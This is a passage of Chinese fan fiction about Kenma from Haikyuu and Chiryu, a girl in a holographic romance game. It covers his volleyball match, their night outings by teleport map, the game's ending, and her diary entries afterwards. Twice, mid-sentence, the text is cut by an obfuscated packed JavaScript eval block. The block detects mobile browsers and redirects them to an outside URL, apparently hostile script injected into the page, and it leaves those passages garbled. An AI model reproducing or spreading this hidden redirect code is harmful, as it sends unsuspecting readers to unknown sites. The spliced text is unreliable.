什么时候开始习惯这个有些羞耻的口号了呢? 记不大清了。 或许第一次听小黑念这个口号的时候还在极力反抗,不过反抗无效。 就像一开始不喜欢吃的榴莲,多尝尝也能发现它的香气……不,被千流之前说过奇怪的比喻入侵了大脑。 不愿意,抵抗,不情愿做的事情,顽固的自己无论如何也不会习惯吧。 难道说自己和小黑是“同流合污”的那种中二类型? 都是游戏宅了,中二一点也没什么吧。 反倒是列夫。 研磨侧目看向他,一开始列夫分明是完全不理解这个口号的意义,但在大声喊出来之后就嚷嚷着“斯国一,热血沸腾啊”,这就是所谓的单细胞生物吗。 还有千流。 仗着自己是“鬼魂”,飘到了最前排的vip座位,也就是那根横栏。在听到小黑的赛前宣言之后,自顾自地说这些听上去相当羞耻的话。 比分说:“斯国一,这就是霓虹血液里流淌的中二魂吗。” 又比如:“好像传教现场哦。” 完完全全地传入他的耳中了。 “研磨!”响亮的声音穿过球场,千流的笑颜映入他的眼中,稳稳当当地站在横杆上,把超大幅的海报从上而下地铺开。 是类似应援漫画的海报,大概是为了让他看清楚,上面用了放大镜效果的道具。 漫画的内容是他一路练习排球的经历,第一次触碰排球、第一次正式当二传手、第一次赢得比赛、第一次输比赛…… 在漫长的跑道上精疲力竭冲线的时候、在鱼跃累瘫后脸着地的画面…… 果然,打排球是超透支的运动啊。 千流把拳头举高,在头顶大力地晃了晃,脚一打滑差点从横杆上跌下去,不过她很快恢复了平衡,摸着脑袋讪讪一笑: “大玩一场吧,研磨!” 他学着她的样子,握紧拳头在头顶晃了晃。 “噢噢噢。”列夫歪头,“研磨学长有认识的人来看比赛吗?” 小黑了然:“网友?” 虽然很想以“喜欢的人”这样介绍,但感觉在赛前说这种让他们惊掉下巴的话,怎么样也不算开个好头。 研磨于是矜持地点了点头。 黑尾一把揽过他的肩,笑道:“那就让网友小姐看看我们音驹精彩的比赛吧。” 他压低声音,有些调侃:“还有你的超强发挥。” 小黑总是这么不正经。 研磨额前布满黑线,而且自己也不算那种见到喜欢的人就会“孔雀开屏”的性格吧。 而且排球的实力也不是他想要发挥超常就能做到的,和乌野打比赛的话。 他看向兴致勃勃的翔阳,在网的一端和列夫一高一矮地大声说话,完全一幅精力旺盛的样子。 和这样的乌野打比赛,他的脑袋一阵抽痛。 只要不瘫倒在排球场上就是胜利吧。 * 虽说我不是什么专业的排球观众,但也算零零总总懂一些排球知识。 其实,就算不懂排球知识,光看液晶屏幕上隔很长一段时间才跳动的红色比分,以及相差无几的分数,也能看出比赛的焦灼。 不由得,我把目光投向橘子头脑袋,这次比赛一开始,他在球场上的存在感好像降低了许多。 但是只要关注他的动向,就能发现虽然没有扣球的机会,这家伙就像那种体力值永远不会耗尽的怪物一样,卯足了劲,眼里只有排球,一次次地全力助跑。 相对于他,研磨在球场中的走动就少了些。 ——但也抵得上我一年的运动量了。 我想起上次玩一款游戏时,研磨问我“假如是遇到那种展翅高飞的boss,最有效的处理方法是什么?” 我毫不犹豫,甚至没有放下手中的游戏机:“当然是折断他的翅膀啊。” 身旁的研磨少有地大吃一惊:“我的想法只是把它关在笼子里。” 这家伙,不会是觉得我很凶恶吧。 我眯起眼睛:“关在笼子里也有挣脱的机会,折断翅膀比较立竿见影吧。” 我说的当然是游戏。 研磨那家伙,那时候指的一定是翔阳吧。 难怪听到所谓“折断翅膀”的暴论,露出了难以言喻的表情。 既然如此,橘子头脑袋现在一定被困在了研磨的笼子里。 找不到得分的机会难免会焦虑,焦虑就会开始寻找破局的契机,想的越多脑细胞就会慢慢被耗尽。 球场上的攻心者啊。 我就说研磨这家伙是只黑心猫,平日里是少言的、无害的,那都是没有遇到感兴趣的东西吧。 但是,我不由得想起沙滩上和橘子头脑袋的初遇,虽然研磨已经证明了橘子头脑袋没有去过那片沙滩。 不过他的模样还是牢牢刻在我的脑海里,可能这种性格的人脑子里会有“焦虑”闪过,但一定不会心甘情愿地被困在笼子里吧。 作为研磨的后援会,我抛开脑子里那些不合时宜的坏走向,一心一意地攥紧双手的荧光棒,观察着比赛的走向。 * 他的体力一向不好。 在排球赛场上,能够发挥功效的,就是还算不错的洞察力。 乌野过去比赛的录像被他们围在一起彻夜研究,“进攻”是他们引以为傲的优点,多人同时进攻的战术让乌野无一例外的、无时无刻都想要把握进攻的机会。 人心齐是好事,但人心太齐。 研磨盯紧众人奔向球网的步伐,错综复杂的步伐也有它的目的和节奏。 瞄准一点,看起来再轻巧的球,只要位于视野盲区…… 三色排球掷地有声。 落于乌野众人的正中央。 错综复杂的脚步,一致地谋划着进攻,却被彼此的身躯所遮挡视线。 这就是乌野的视野盲区。 * “斯国一!!!”列夫拍打他肩膀的力道是一点也不轻,赛中休息的时间并不长,他大口地喝着水,晶莹的水滴划过脸颊。 即使是限制了翔阳的进攻,乌野和他们打得还是一样焦灼。 只不过是把对方的得分手段削弱了一些。 和小黑关系很好的月岛,似乎在提起对排球的兴趣以后,拦网的能力也有所上涨。 小黑真的不留余力地给自己培养对手啊。 此外,乌野的自由人也一样强大,和夜久学长不相上下,最后那一球的目的,肯定也被对方察觉了,所以也会有所防备。 肾上腺素的调动也带起了大脑的运转。 这种脑细胞燃烧的感觉,他并不讨厌,观察赛场上的局势,找出破局的最优解。 就像牌类游戏一样,利用自己的好牌,同时猜测对面的手牌。 但如果这场游戏一直这样进行下去。 他看向若有所思的翔阳。 离翔阳所说的“让他感到排球的有趣”这种程度,还远远不够呢。 这样结束的话,有种[GAME OVER]的遗憾。但不管那个游戏都会有通关的时候,纵使感觉遗憾,也只能这样接受吧。 据他对影山的了解,对这样的翔阳,应该没有传球的欲望吧。 * 猜错了。 他喘息着,看着影山发出的,几乎遮住天花板射灯的高吊球。 他从未见过翔阳打过这种球。 却在心中断定,这一球一定会传给翔阳。 简直不讲道理啊。 排球场上的音驹众人对视一眼,即使是限制了快攻和诱饵战术,乌野也像花样百出的魔术师,展现出新的招数。 黑尾看着研磨逐渐被点亮的瞳孔,勾唇一笑,振翅高飞的乌鸦突破了禁锢的鸟笼。 ——这样的比赛才有趣吧。 * “摩西摩西。”小八擦了擦额间并不存在的汗珠,“总算赶上了!” 它看向比分:“一比一平吗。” 我点头:“打得很焦灼。”我看着被团团围住的研磨,他们似乎在商讨新的战术。 他额间的发丝都被浸湿,支着座椅大口喘气,看起来体力也被耗得差不多了。 “看来我赶在转折点来了呢。”小八侧目,“千流不好奇吗,研磨会不会用健将健将。” 确实。 在这种时候用魔法药水,对方的体力也被耗得差不多了,而如果研磨的体力完全恢复,就像被游戏里体力值耗尽的勇士被灌下药水,音驹的攻击力也会大幅上涨吧。 我没有回答小八的问题:“为什么要说转折点,难道中场休息的时候研磨用不用魔法药水很重要吗?” 小八:“用了研磨就不会感到累。” “小八。”我严肃,“你是不是不相信我们音驹。” 小八石化。 不要给AI扣这么大一顶帽子啊。 “我们音驹可是有超强的副攻小黑,不管是接球还是当攻手,都是一流的!” “还有夜久学长。”虽然实际上我应该比夜久大,不过跟着研磨叫习惯了,“最靠谱的自由人,稳住了音驹绵延不断的防守。” “列夫他虽然基本功差,但他的手跟拉面一样吧,啪嗒啪嗒的,总是意想不到地给大家惊喜。” “猛虎就跟真正的老虎一样……” 我郑重其事地把每个人都夸了个遍:“和他们的口号一样,每个人维系着这只队伍的运转,给研磨输送氧气,比持久战的话,我们可不会输!” “……千流你。” 我等待着小八的发言。 “你已经变成音驹球迷的模样了。” 虽然我的运动细胞很一般,在过去也从未对球类运动有任何的兴趣。 但只要站在这里,看着他们拼尽全力,没有人会不为之动容。 “我下次画一幅音驹全员的海报吧!”我斗志昂扬。 小八幽幽:“明明是玩家用我们的素材库做的。” “嘿嘿。” * 【健将健将强效疲惫一扫而空药水】啊。 研磨想起这个超长的名字,还是忍不住轻笑。 简直就像游戏里那些充满诱惑力的外挂,在难以通关的时候用一下,完全可以无脑过关。 但他可能是那种【一命通关】党吧。 可以做到一条命通关的,就不会用复活的机会;可以用自己力量达到的,就不用借助所谓的药水。 况且自己跟翔阳约定好了,这是一场公平的游戏。 所有的一切堆叠成唯一的结果。 每个人的实力导向最终的答案。 这样纯粹的游戏才有意思,对吧。 他重新走上场。 身畔的欢呼声与加油声犹如虚焦的镜头,瞬息间,他不断根据站位和局势调整着二传手的策略。 往日高速工作的大脑此时凭借着本能作出判断,浑身的肌肉都酸痛着、叫嚣着它们超额的运转。 研磨置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205978|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若罔闻,静静地看着球,全力地奔跑,三色排球落在他的指尖,还未等大脑计算出下一球传给谁。 它从指尖滑落,跌至木制地板。 啪嗒一声。 他听见[GAME OVER]的声响。 还有自己的身躯沉重地倒地。 他不是可以重来一次的勇士,负荷过重的肌肉卸了力,就像再也抬不起劲。 木制的地板比沸腾的血液冰凉些。 明明应该因为游戏结束而感到难过,胸口的心脏却比过往更加剧烈地跳动。 无数次排球掷地有声的回响仿佛变作心脏的鼓点,过往的一切化为“有趣”的注脚。 比起漫长的拉锯战,赛后的致谢显得那么短暂。 谁知道为什么,他说出心里话和感谢小黑之后,小黑露出了可怕的蛋花眼。 猛男垂泪。 一开始很讨厌浑身流汗的运动。 被小黑的“军师”论打动,稀里糊涂地打起了二传。 比起游戏,现实中的一切比赛赢了和输了都不会改变这个世界,不会改变历史的进程,不会有人员的伤亡。 它显得这么平凡。 连场地都不能供人大展拳脚,只能在这小小的一隅,全力地奔跑。 [但它确确实实地改变了我的生活] 研磨看向手腕,三色排球落下的红印因为接连不断的训练而没有消散的一天。 或许有一天大家都不打排球了,回想起现在的日子,一定也能说出一句“有趣”吧。 * “什么情况啊。”我抽咽着和小八低语,致谢环节,连一般稳重的小黑都露出蛋花眼,研磨也看起来投入了很多精力,但他嘴边挂着笑。 “太难过了,所以傻掉了?”小八猜测。 “傻掉这种事情还是不会出现在研磨身上吧。”我一边跟小八说话,一边注意到大家准备鞠躬,立刻挥舞起左手中的荧光棒,右手拿着喇叭,大声: “打得尽兴吗,研磨!” 他朝我的方向比了个耶,迎来了音驹众人的围观,好多只猫猫咻地一下往我的方向盯着,虽然我知道他们看不见我,但还是好吓人。 “那么神秘的吗,研磨。”小黑怼了怼研磨的手臂。 “再等不久之后吧。”研磨漾起笑。 “嘶,笑得好可怕。”黑尾颤颤抱紧自己,“所以聚餐也不会一起来吗?” 我已经三两下跳到小黑旁边,在他身边说了句不好意思来不了,不过小黑听不见,只能由研磨代为转达。 他借口先发个消息给我,实则我跟他飘到了排球馆的角落。 “千流哭了?” “紧张的泪水!”我辩解。 他“哦”了一声:“没有听过这种泪水的种类呢。” 那是研磨见识少了。 他说:“你来看我比赛,结果打输了。” 我看着猫猫垂眸的样子,立马紧张起来,慌忙开启夸夸模式:“打输了有什么关系,即使是我这个门外汉也看得出来打得相当精彩,你们是不分伯仲的对手啊!” “我的注意力完全被研磨吸走了!眼睛一眨不眨地,看着研磨的传球,非常精妙呢!解说都一直在惊叹!” 猫猫的垂眸变成了亮闪闪的笑颜,他笑着,眼角闪烁着晶莹的泪花:“看来我们打得真的很不错。” “什么嘛。”我撇嘴,“研磨没有伤心。” 就知道这家伙输比赛兴奋的表情,跟伤心沾不上边。 “【健将健将强效疲惫一扫而空药水】,为什么没有用?”我坏心思地眨眨眼。 “千流不是早就猜到我不会用了吗。”他了然。 “就跟游戏开了外挂一样。”我们异口同声。 对视三秒后。 “一命通关党才不会用。” 真是的,完全搞不明白谁才是谁肚子里的蛔虫了,我这样说着。 研磨吐槽:“明明是这么默契的场面,非要用这种比喻吗。” 他问我接下来有没有空,我看了看游戏内外的流速,今天是少有的补习班也放课的日子,即使多玩半个小时的游戏我也不会考不上东大。 我点点头。 “我和小黑他们要先去吃烤肉,大概。”他晃了晃手上的定位手环,说实话,我都忘记了它还有这个功能。 在小黑的催促下,研磨匆匆地和我告了别。 而我和小八自然不会亏待自己,晚饭是一定要吃的。 一人一AI开启了席卷美食街的行动。 * 洁白的路灯下,驻足着几只扑腾的飞蛾,翅膀被照得透明。 我看见研磨双脚不听使唤地倔强走来。 绝对是体力透支过头了吧,我目移。 湛蓝色的药水被他攥在手中,像剔透的蓝宝石,是天空的颜色。 没有被用完的魔法药水被研磨拿起,晃了晃。 穿过蓝宝石般的玻璃瓶,那双眼睛在夜晚依然熠熠生辉。 “我找到了魔法药水的用法。” 他当着我的面,打开瓶盖,把晶莹的液体一股脑地喝了进去。 “这可是晚上诶。”我来不及提醒。 “那有什么关系。”他伸出手,细长的手指轻盈却有力,手掌并不跟研磨的外表那样温润,而是有着薄薄的茧,“趁魔法药水生效的时候,一口气玩个够,怎么样?” 路灯下,他毫不在意旁人的侧目,攥紧了我递去的手。 我们奔跑着,步伐轻盈,没有终点,不知去处。 共享着一整个白昼与黑夜。 44.研磨猫猫养成手札 36 * 温热由指尖传递,被健将健将版研磨牵着拽了半程,体力告竭的千流呼着气停在原地。 两驱的她怎么追得上用了加速器的研磨。 牵着的人双足像灌了水泥一样带不动半分,研磨诧异地转过头。 交叠的手不再透明,柔软的触感像漂浮的棉絮,他愣愣:“千流什么时候用了实体卡。” 千流别扭地看着被攥紧的手。 刚刚一路跟着研磨奔跑的时候,只能听见身畔飒飒的风声,完全没有注意到被牵着手跑了一路。 难怪周围的路人要笑眯眯地盯着他们。 她摸了摸鼻尖:“不是说要一起去玩。” “这样不是更有体验感。” 她才想不通自己是为什么在研磨伸过手的那一刻就鬼使神差地打开了系统面板。 不管研磨信没信她的说辞,总之从那双眼眸弯弯的弧度,就能判定大概是没有采信。 千流僵硬地转移话题,轻踩鞋跟:“平常飘着走路,没觉得这个鞋这么不适合跑。” 跑在路上就跟跳踢踏舞一样。 研磨跟千流坐在某处不知名公园的长椅上,稀稀疏疏的星星在天上眨眼。 疑似反射弧更长的研磨才恍然大悟般松开了攥紧的手。 …… 怎么觉得这时候突然松开手更加奇怪了。 ——就像再次强调了刚刚的行为一样,千流心想。 她将足尖相抵,倚靠在长椅背上,好奇地询问研磨:“喝了魔法药水的感觉怎么样?” “就跟已经见底的能量条瞬间回满一样。” 他指了指自己眼睛下方。 零星的灯光有些微弱,千流下意识地凑上前:“真的诶,打游戏的黑眼圈都没了。” 她的视线向上一偏,琥珀色的眼眸定定地看向她,就像流转着诱人的蜜糖。 千流赶忙后退,拍了拍自己的脸颊,在空荡荡的公园里发出脆响。 好歹是即将步入大学的人,怎能如此没有定力。 “研磨你是故意的吧。” 他无辜地歪了歪头。 千流站起,居高临下地抱胸:“这么昏暗的灯光,让我看你的黑眼圈,然后啪一下拉近距离。” 无辜的焦糖布丁脑袋怪会变脸,低垂着脑袋看起来很失落:“被发现了。” 千流敏锐地审视“失落”研磨的耳垂。 好可怕! 研磨已经完全进化成被揭穿也不会害羞的模样了! 千流如临大敌:“研磨为什么这么快就承认了…” “如果不直接说的话,以千流看待我的疑似养崽的态度。” “不管做什么事情千流大概都能找五花八门的借口掰到另一个方向。” “所以还不如做的明显一些。” 千流讪讪地侧过脑袋。 完全被猜中了。 研磨似乎并没有想要拽着这个话题不放:“千流的积分商城有类似穿梭图腾之类的道具吗。” 她划开系统面板,面不改色地跳过第一页那些可怕的不可触碰之物,好在有分类检索栏,锁定了【交通工具】那一栏。 【时空飞船】 【可用于穿越时空】 千流眼前一亮。 点开详细页面,千流眼前一黑。 【价值:99999积分】,让她和研磨给系统打一辈子工都不够换的。 时空旅行计划破灭。 她老实地按照价格排序从低到高进行筛选,想到研磨看不到自己扒拉的画面,千流索性点开操作面板。 面板上有部分权限转让的选项,不过上方用红色的字体写着【慎用】,于是千流谨慎地转让了系统商城购买与道具使用的权限。 研磨面前立刻出现了蓝色幽光的屏幕,悬浮在空中,里面是五花八门的交通工具。 “是不是很酷。”有种赛博朋克的风格。 研磨点点头。 由于是共享页面,千流的指尖在上面滑动,标志是指尖的光点停在鬼火摩托车上。 研磨及时制止:“你有驾驶证吗。” 千流遗憾点进,鬼火摩托车没有自动驾驶的功能,她倒是会开电动车。 把需要手动驾驶的通通去除。 最便宜的羊皮卷地图出现在视线。 【传送地图】 【可使用两次(往返只算一次)】 这么酷炫的地图居然只比鬼火摩托车贵50积分。千流和研磨相视,果断购入。 薄薄的羊皮纸掉落在千流的手中,古朴的气息就像附着了一层魔力,她把羊皮纸摊开。 上面零星遍布着几个光点,大概是可以传送的方位,纵观整张地图,类似于中国地图的一半和日本地图的一半。 鸡肋的是上面没有任何与地名有关的提示。 研磨打开手机地图,放在一旁作为参照。 “这边的光点是在东京附近。”他试探地双指放大,羊皮卷材质的地图放大了些,可供选择的光点变得更多了些,研磨观察片刻,“这些都是我去过的地方。” 千流灵光一闪,划到中国的区域。 “这些也都是我去过的地方。” “千流住在南方吗。” 千流点点头:“是有很多条河流交汇的地方。” 就说传送图腾这种好用的东西为什么价格那么低,千流觉得游戏厂商果然坐实了黑心厂商的称号,在商品介绍中故意隐去可传送的范围实际局限于两人到达过的地方。 “要不。”千流滑动地图,“去一个研磨推荐的地方,再去一个我推荐的地方,怎么样?” * 他们一同来到了全日本最大的天文馆内部。 这里的设施相当先进,研磨介绍,最为有趣的是特色模拟舱。 闭馆后总电闸被关闭,不过这难不倒千流,她从道具箱里拿出一个微型的球状发电机,稳稳放在研磨手中。 “研磨喊一声雷霆之力。” 好中二,在心里这样吐槽的研磨不情不愿念了句“雷霆之力”,千流笑眯眯地接过球状发电机,按了按下面的按钮,噼里啪啦的电光碰撞着内壁。 “所以完全不用念那句话对吧。”研磨幽幽。 千流狡黠一笑:“哪有,是研磨的雷霆之力给它充能了。” 随着球状发电机的连接,蛋壳状的舱体被打开,里面堪堪容纳下两人,戴上特殊的眼镜倚靠在靠背上,椅背缓缓下放直至水平。 蛋壳状的舱体撤下,犹如拉开了幕布。 映入眼帘的是绮丽的星河,仿佛流淌于繁星之间。 耳畔传来解说词,千流和研磨交头接耳,像在课堂上开小差的坏学生:“其实如果这样看。” 研磨比划了两下:“更像小狗。” 千流连连赞同:“把那边几颗连起来,像雪糕顶!” “……其实是千流想吃了吧。” 电子解说员小姐像被两位不听话的学生气罢工了,进入了一声不吭的状态。 两位坏学生还躺在满天星河下交头接耳。 千流压低音量:“研磨——” 她用气声说道,小小的羽毛在研磨的心尖打了个旋。 “告诉你一个关于我的秘密吧。” “其实我……”她严肃,“我小时候很怕夜晚抬头看着星空。” 研磨学着千流的样子,同样气声问着:“为什么这是个秘密?” 天上的星星眨巴着眼睛侧耳倾听。 “因为很逊啊。”千流的声音大了些,“小时候大家不都想当科学家宇航员之类的,要是被别人知道我害怕星空,真的很丢脸。” 她戳了戳不回应的研磨:“你怎么不说话。” 他的声音听起来很后悔:“早知道多赚点积分换时光飞船了。” 想看看小时候,偷偷藏着秘密的千流。 觉得这种事情“超逊”的千流。 他忍不住笑出声。 ——有趣得有些过分了。 但这样的话说出来一定很讨打,他说:“我要回去拆穿你的秘密。” “哈!”千流难以置信,“那我是不会原谅你的。” 她继续说着:“研磨没有想过吗?” 她把手伸向星空,张开,握住一颗星星:“星星是很伟大的东西吧,一闪一闪地,那么耀眼。” 她松开手:“但是放在满天星河里,又显得很渺小。” “所以我会想,站在地球上的我,是不是更加渺小了,小时候一想到这件事,就很害怕。” 害怕自己是微不足道的存在。 是找不到方向的溪流。 “现在还害怕吗?” 千流笑着摇摇头:“因为有朋友了,就像宇宙中的锚点,纵使它再广阔无垠,但只要在朋友的心里,自己是重要的存在。” “就不会觉得自己是微不足道的。” 银河之旅来到了终点,蛋壳再度被关闭,侧边的门缓缓打开,真正的月光透过玻璃窗倾泻而入。 研磨想要起身,右侧的手腕却被摁住。 清冷的月光洒在千流的脸上,白皙的脸庞镶嵌着紫灰色的眼睛,雾蒙蒙又柔和,是不会刺眼的暖光。 她浅浅地笑着:“再告诉研磨一个秘密。” “你也是我的锚点。” 他的睫毛随着漾开的、止不住的笑意颤动。 千流也很狡猾吧。 ——用这种含糊不清的话。 千流拉起研磨的手:“出发出发。” 她摊开羊皮卷地图,娴熟地找到目的地。 * 不知道是地图的穿越消磨了时间,老街上小摊贩已经陆陆续续地出摊了,千流和研磨坐在小推车爷爷的摊位上。 千流用本地方言笑盈盈地和他说了几句话,老爷爷用慈祥的目光看向研磨,和蔼地点点头。 千流转述:“爷爷夸你的发色很潮,不愧是小年轻。” 出现了!耳垂微红的研磨。 “研磨可以吃葱吗?” “嗯。” “爷爷!”馄饨铺爷爷的耳朵不是很好,需要这样大声地叫唤,“两碗都加葱。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229291|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冒着热气的两碗小馄饨被端上了桌,研磨不大熟练地对着爷爷大声地说了句“谢谢”,哄得爷爷开心地又给他添了个荷包蛋。 不忘在千流的碗里又加了一个。 千流嘟囔着跟馄饨爷爷辩驳了一番,最后看来是含笑着转头的爷爷获胜。 “本来一碗小馄饨就只要六块钱,还加了个荷包蛋,怎么赚钱嘛。” 千流搅和搅和小馄饨,研磨有样学样。 她轻轻地吹了口气,爽朗地把一整颗小馄饨送进嘴里,念了声“好烫”。 但手里又舀起一小勺汤。 小馄饨的味道很简单。 但是暖呼呼的,驱散了清晨的寒气。 “研磨注意到了吗?”她问,“爷爷耳朵不好。” “嗯。”研磨轻轻呼了呼滚烫的馄饨,“听别人讲话的时候,总是侧过身,会看别人的口型。” 所以才即使不会念中文,也那么大声地用自己不熟悉的语言说谢谢。 “好好吃饭。”研磨垂下脑袋,“不要看着我。” “暖心布丁头!” “这又是什么怪称呼。” 一天的时间太短,没法把小小的城镇走遍。千流找到自己家,拍了拍小电驴的后座,用霸总的低音炮说着:“上车。” 她潇洒地转头,嘎吱一声,把头给扭着了。 于是司机千流灰溜溜地坐在了后座,她艰难地不敢挪动自己的脑袋,拧了拧研磨:“你能不能好好开车不要笑了!” 黑心布丁头不语,一味地按照千流的指示边开车边笑。 他们从学校旁的大树越过围栏,在天台上看着高中生跑操,千流看热闹不嫌事大地科普这华夏特定项目。 他们穿过九转千回的弄堂,找到了巷里的一家火锅店,红彤彤的锅底被热络的老板娘端了上来,满锅的麻椒看得人心惊胆战。 千流佯装这种辣度不在话下,和研磨开启了默契的竞争模式,愣是谁也不喝一口水,埋头大吃。 直到两人被热气呛得抬起头,看着彼此的香肠嘴,默契地宣告平局,要了一大壶酸梅汤吨吨吨地喝光。 这是南方少有的正宗辣火锅。 在千流精准的导航下,小镇里的所有特色糕点都被打包带走,他们坐上悠悠晃着的小船,软糯的糕点有着和霓虹糕点截然不同的风味。 既会吃又会做的千流边眯着眼幸福地吃着,一边和研磨科普这些糕点的做法。 小船轻轻荡,穿过了一处桥洞,桥的上方有一座石碑,远远地看去,上面的字依稀可见。 注意到研磨的视线,千流笑着说道:“这条江叫千流江,因为很多条溪流汇入,所以叫这个名字。” 研磨隐约有些预感,抿唇不语。 “我的名字就是这条江倒过来念,因为养母是在这里捡到我的。” 就像说别人的故事一样,她轻巧地说着,嘴角还带着笑。 “是不是有点随意?这样起名。” “日本的姓氏也是这样,村下、石上。”研磨倚靠着悠悠前行的船。 “研磨说了我的另外一个朋友说的一模一样的话。”千流有些吃惊。 研磨眯起眼睛,不怎么开心的样子:“千流的日本朋友,就是写信的那位吧。” 他的手在身前比了个大写的叉:“我拒绝代餐情节。” “胡说八道什么呢。”千流也知道研磨是在用这种方式逗她笑,“名字的缘由并不重要,重要的是自己赋予它的意义,对吧?” 她摆出一幅靠谱的成年人的样子:“这种道理本千流早就知道啦。” 凭借对小船平衡的掌握程度,千流艺高人胆大地起身,站在船头。 她望着潺潺的溪流,转身对研磨笑道: “就叫——千川入海,任我争流,怎么样?” * 我听见,系统面板清脆地“滴”了一声。 【攻略值已满】 【恭喜玩家完成攻略任务,将在现实时间五分钟后进行游戏结算】 研磨拽住了我的衣袖,我回过神:“研磨还没说听到我那句超帅的话之后的感想呢!” 我探头:“是不是超帅!” 焦糖布丁脑袋一本正经地给我比了个大拇指。 小八冒出头,在我的身边:[不好好道别吗,千流?] [好不容易氛围那么好,大家都这么开心,况且游戏一结束,所有的一切都会静止吧,还是说小八你们准备了什么番外篇。] 我把羊皮纸的地图卷成团。 [还是不要不合时宜地说再见了] 我开心地朝研磨比了个耶:“刚刚收到通知,我们的功德值任务已经顺利完成了,怎么样?” 他的眼睛萃着光,比过往的任何时候都要熠熠生辉。 “待会下船去吃个庆功宴怎么样?” “我们这的水煮鱼比任何地方都要好吃哦!” 我笑着,在心里静静地想。 假如记忆只是可以被重新倒回清洗的数据。 ——下次游戏开始的时候,你还会记得我吗? 45.【幕间】 * [5月22日晴] [To:好梦贩卖商 最近项目完成度如何,有在好好工作吗(微笑),感谢你们的内测报酬,期待正式版游戏的发行。 此外,对于最后游戏阶段出现的,疑似盗用我的记忆内容融入全息游戏,希望贵公司能给出合适的回复(微笑)。] 我摁下发送键后,松开手机,呈大字形地躺在松软的床上。 怔愣地望着天花板。 脑海里闪过当时的画面。 我记得,在离别时研磨说“明天见”,我摸了摸自己的后脑勺,笑眯眯地回答,“等我回去备考,考完后就来见研磨。” “千流备考了很久吗?” “那当然。”为了考进东京大学,我已经做好了充分的准备。 “那……”他有些犹豫,接近于明示,“要是这些准备都泡汤了,有新的来到人间的机会,你会开心吗?” 我不是什么迟钝的人,相反,过于炽热的阳光有时会灼伤我。 ——过于体贴了,研磨。 即使是准备用自己的愿望换来我重来一次的机会,还要询问我会不会开心吗? “那是当然的。”我听到自己轻快的声音。 还有他如释重负的笑颜。 登出游戏后,我站在金灿灿的钻石黄金岛上,搜罗起散落在四处的贝壳,神奇海螺传来的每一段声音我都能清晰地记得当时的场景。 小八无声地陪在我的身边。 我放下海螺:“小八怎么一幅人工智障的样子。” “玩家才是,笑得比哭还难看。”它回怼,“研磨的愿望,玩家不打算去看看吗。” “小八是不是又要扮成阎王了。”我拿着海螺的一角,漫无目的地画着潦草的线条,“我就不去看了吧。” “你们打算之后怎么处理这个游戏世界,重启之后回收吗?” “它会按照你们的设定运转到尽头。”它解释,“等到游戏核心走到生命尽头的那天,自然地重启。” 原来是这种设定吗。 “那之后我有番外看嘛。”我继续画着,“比如,被游戏托管的那种AI千流和研磨相处的场面。” “抱歉,我们的内测环节就截止到攻略满值的阶段,没有类似的番外画面。” “诶,好没意思。”我最后看一眼手中的海螺,将它抛向一望无垠的大海,在大海的边界,莹白色的海螺像触碰到了空气墙,粉碎成泡沫,在阳光的照耀下徐徐上升。 即使真的有番外,要是研磨会把AI千流当做我,看到那副场景,我也一定、一定会生气吧。 所以,那天我潇洒地登出了游戏。 小八无言地望着沙滩上留下的猫猫头,叹了口气,任劳任怨地摇身一变成阎王大人,和观察力更加恐怖的另一位对线了。 [5月25日阴] 距那封邮件的发送已经三天,对面没有任何回复,我随后发送的“律师函”警告也被置之不理。 我用注册公司查询的网站搜索该公司的关键词,却没有任何的结果。 茫茫互联网上,它犹如泯灭于汪洋的沙砾,似乎只有我知道它的存在。 我紧皱双眉,看向身侧的游戏舱。 再次躺进游戏舱,它和平凡的舱体没有任何区别,游戏开启的按键也没有反应。 [6月11日小雨咖啡厅] “干杯!”星愿喝着奶茶,愣是摆出了喝啤酒的架势。 我也小心翼翼地高高举起自己的雪顶咖啡:“干杯。” 她满足地眼睛都眯了起来:“高考完之后,就感觉一身轻松。” “赞成。”我也成功通过了留学生考试,就等出分了。 不过出分之后还有校内考,但压力小了很多。 服务员把苹果派放在我们俩的正中央,她狐疑地拿起一块:“说到这个,你什么时候换口味了?” 我漫不经心地咬了一口:“明明跟星愿说过一遍了,你的脑子是跟着高考结束一起扔掉了吗,” “绝对——没有说过。”她笃定,“你这家伙,不会偷偷跟那个班上的某个男生进行了地下恋情吧。” “怎么可能。”那里的同学在补习结束之后就没有联系了,我又咬了一口苹果派,半酸的内馅勾起思绪,“非要说的话,差一点就和游戏人物谈恋爱了。” 她露出了一幅[你们游戏宅到底在想什么我真的不理解,但尊重]的表情。 我嘟囔:“我真的和星愿谈过很多次这个游戏。” 她点开应用商城:“什么游戏。” “是全息游戏啦,搜不到。” 她更加诧异:“要是真有这种游戏,怎么可能没有新闻报道。现在的科技有这么发达吗?我还以为这些技术会先被用于军事。” 真是的。 青年阿尔兹海默症是会传染吗?先是蚕食我的大脑,然后再是星愿的。 我言之凿凿点开手机邮箱,划到已阅邮件,怔愣地看着最上方的邮件还停留在富婆姐姐发来的感谢信。 “开什么玩笑。”我自言自语,点开已发送的界面。 什么也没有。 她在我眼前晃了晃手,拉回了我的思绪,半开玩笑中难掩关心:“你这家伙,是不是压力太大了。” “你是说我压力大到出了幻觉?” 她的表情明晃晃地写着,她就是这么想的。 我轻抿一口雪顶,笑着和星愿说:“怎么样,刚刚装得是不是很逼真?” 她瞪了我一眼,显然松了一口气:“我简直被你吓了一跳。” * 